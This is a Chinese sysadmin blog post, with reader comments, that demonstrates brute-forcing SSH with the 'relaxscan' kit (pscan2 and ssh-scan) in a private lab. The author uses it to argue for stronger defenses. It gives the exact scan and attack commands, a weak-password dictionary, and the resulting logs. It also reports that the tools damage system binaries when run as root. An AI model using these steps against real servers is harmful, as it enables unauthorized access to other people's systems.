Jul 8

[原]演示使用relaxscan暴力破解SSH 晴

linuxing , 12:45 , 网络服务 » 安全相关 , 评论(3) , 引用(0) , 阅读(46926) , Via 本站原创 | |
    由于安全意识不足,导致机器被入侵的例子多不胜数。最近不断接到有服务器被入侵,执行文件被修改的报障。原因大多都是因为开放了SSH服务,同时允许root访问,密码又过于简单的情况。为提出更有效的防范办法,决定做个攻击模拟。以下使用的工具是relaxsan,从网上可以很方便的找到,为免影响不好,我这里就不提供了,仅做个攻击演示。

一、获取工具
首先,我不知道为什么叫relaxscan,这东西是从Google搜的,来源自chinaunix某个博客中,某被入侵所提取的代码。
里面包括pscan2和ssh-scan这两个关键程序,及一些必须的文件:
引用
pscan2 端口扫描工具,可对指定的网段中的IP,进行特定端口的扫描,找到满足要求的服务器后,会这些服务器IP记录到文件中;
ssh-scan 对指定的服务器进行暴力破解,其需要以下几个文件:
  mft.txt 攻击的服务器IP列表,可由pscan2获得,每个IP一行;
  pass_file 攻击用字典文件,每行由用户名+空格+密码组成,由ssh-scan自行调用,用于尝试进入ssh访问;
  vuln.txt 成功入侵目标主机后的记录文件,会标注那些机器通过什么用户名和密码可以进入。

二、攻击演示
1、演示服务器
引用
hacker:10.10.10.1/24 → 作为攻击端
target:10.10.10.10/24 →作为被攻击目标

2、创建一个普通用户
这步很重要,虽然没有pscan2的源码,但基本可以肯定的是,pscan2本身具有木马的特性。千万不要以root用户执行pscan2,记住!(网上有似乎有该程序的源码,但我不能肯定是否一样,但在后面的补充内容中,我会做个简单的测试,以说明这问题。)

# useradd test
# passwd test

3、扫描特定网段
切换到test用户,把relaxscan解压出来,给pscan2 赋予可执行权限:
引用
# su - test
$ id
uid=512(test) gid=512(test) groups=512(test)
$ cd relaxscan/
$ chmod +x pscan2

pscan2 的用法:
引用
$ ./pscan2
Usage: ./pscan2 [c-block]
第一个参数是给出扫描的网段,必须是B类型的;
第二个参数是扫描的端口;
第三个参数是可选的,可进一步限制上面B类型网段中的C 段范围;

扫描10.10.10 网段:
引用
$ ./pscan2 10.10 22 10
# scanning:
# pscan completed in 3 seconds. (found 2 ips)
$ cat 10.10.10.pscan.22
10.10.10.1
10.10.10.10

可见,找到该网段中有两个IP打开了SSH服务。

4、攻击特定IP的SSH服务
既然找到已打开SSH服务的机器IP,那就可以用ssh-scan 进行暴力破解了。破解的关键是字典文件pass_file ,该文件决定了攻击时间的长短和成功率。可以从网上获取一堆的字典,下面是我模拟的几个用户名和密码:
引用
$ cat pass_file
upload upload
root q1w2e3r4
root qwer1234
root qwer0987
root poiu7890
oracle oracle
ftp ftp
apache apache
nagios nagios
nginx nginx
lighttpd lighttpd
mysql mysql
postfix postfix

※ 千万不要忽视普通用户的登录,普通用户可通过一些root exploit 漏洞提升到root权限,届时,与通过root访问也没什么差别。
把上面通过pscan2得到的IP地址段,转存为mfu.txt文件,然后开始攻击:
引用
$ grep -v -w '10.10.10.1' 10.10.10.pscan.22 > mfu.txt
$ ./ssh-scan 100
Toata dragostea mea pentru diavola!!!!!!

在被攻击端的安全日志中,会显示大量的尝试记录,类似:
引用
Jul  8 12:00:33 asianux3 sshd[2488]: Invalid user upload from 10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2489]: input_userauth_request: invalid user upload
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): check pass; user unknown
Jul  8 12:00:33 asianux3 sshd[2488]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=10.10.10.1
Jul  8 12:00:33 asianux3 sshd[2488]: pam_succeed_if(sshd:auth): error retrieving information about user upload
Jul  8 12:00:36 asianux3 sshd[2488]: Failed password for invalid user upload from 10.10.10.1 port 2000 ssh2
Jul  8 12:00:36 asianux3 sshd[2489]: Received disconnect from 10.10.10.1: 11: Bye Bye
......
Jul  8 12:00:44 asianux3 sshd[2499]: Accepted password for oracle from 10.10.10.1 port 2005 ssh2
Jul  8 12:00:44 asianux3 sshd[2499]: pam_unix(sshd:session): session opened for user oracle by (uid=0)

攻击的密度与您给ssh-scan提供的参数有关,参数越大,尝试越频繁。从上面的日志可看到,oracle用户尝试登录成功了。
在攻击端也会显示信息:
引用
$ L-amPrins... !! ->oracle:oracle:10.10.10.10

并记录在vuln.txt 文件中:
引用
$ cat vuln.txt
oracle:oracle:10.10.10.10

至此,攻击算是完成了。后续的,就是用该用户登录ssh,然后尝试exploit 到root等操作,这里不再叙述。

三、破坏系统可执行文件
本来,我是希望通过这次的模拟,产生类似下面的病毒文件:
点击在新窗口中浏览此图片
可惜没效果。但通过实验,发现pscan2和ssh-scan 确实是有问题的
1、原系统执行文件信息
找几个系统执行文件的当前信息:
引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root   25216 2010-03-02 /bin/cat
-rwxr-xr-x 1 root root   70632 2010-03-02 /bin/cp
-rwxr-xr-x 1 root root   35880 2010-03-25 /bin/more
-rwxr-xr-x 1 root root   78680 2010-03-02 /bin/mv
-rwsr-xr-x 1 root root   40432 2010-03-25 /bin/umount

2、以root权限运行pscan2或ssh-scan
结果,系统中的一些执行文件被修改:
引用
# ll /bin/{more,cat,umount,cp,mv}
-rwxr-xr-x 1 root root 33408 07-08 12:34 /bin/cat
-rwxr-xr-x 1 root root 78824 07-08 12:34 /bin/cp
-rwxr-xr-x 1 root root 44072 07-08 12:34 /bin/more
-rwxr-xr-x 1 root root 86872 07-08 12:34 /bin/mv
-rwsr-xr-x 1 root root 48624 07-08 12:34 /bin/umount

这些文件都被加了8192字节(某些文件会加16384字节),导致这些文件损坏了:
引用
# cp
-bash: /bin/cp: cannot execute binary file
# mv
-bash: /bin/mv: cannot execute binary file
# umount
-bash: /bin/umount: cannot execute binary file

表现形式很像木马程序。而且这些都是基本的执行文件,结果就是系统异常,修复也很困难。幸亏没感染能力,不会大规模传播。
一般可通过rpm -Va 找出被破坏的文件,然后重新安装对应的rpm包。但手续复杂,而且不能确保修复完整。
所以,尝试relaxscan前,请务必小心哦!
Tags: ,
shenfeng8101
2015/04/29 16:19
在吗?能加你QQ 请教你些问题吗? 413538101 我QQ
rem1x
2011/07/11 14:55
ssh密钥配置的学习成本几乎为0啊,客户有时候是最大的障碍
linuxing 回复于 2011/07/14 12:31
习惯和意识问题。
shom
2011/07/08 16:03
其实最安全最简单的方法就是使用RSA密钥,关闭密码及ROOT远程登陆。另外看你之前使用denyhosts阻止SSH被暴,其实还有另外一个选择fail2ban,它有更多服务保护,比如vsftp,dns...
linuxing 回复于 2011/07/11 11:51
嗯,完全同意,我自己管理的机器就是禁止密码,使用密钥登录的。但很多客户是不习惯用密钥,还是喜欢用密码的,这个强迫不了。有空我也试试fali2ban,^_^
分页: 1/1 第一页 1 最后页
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]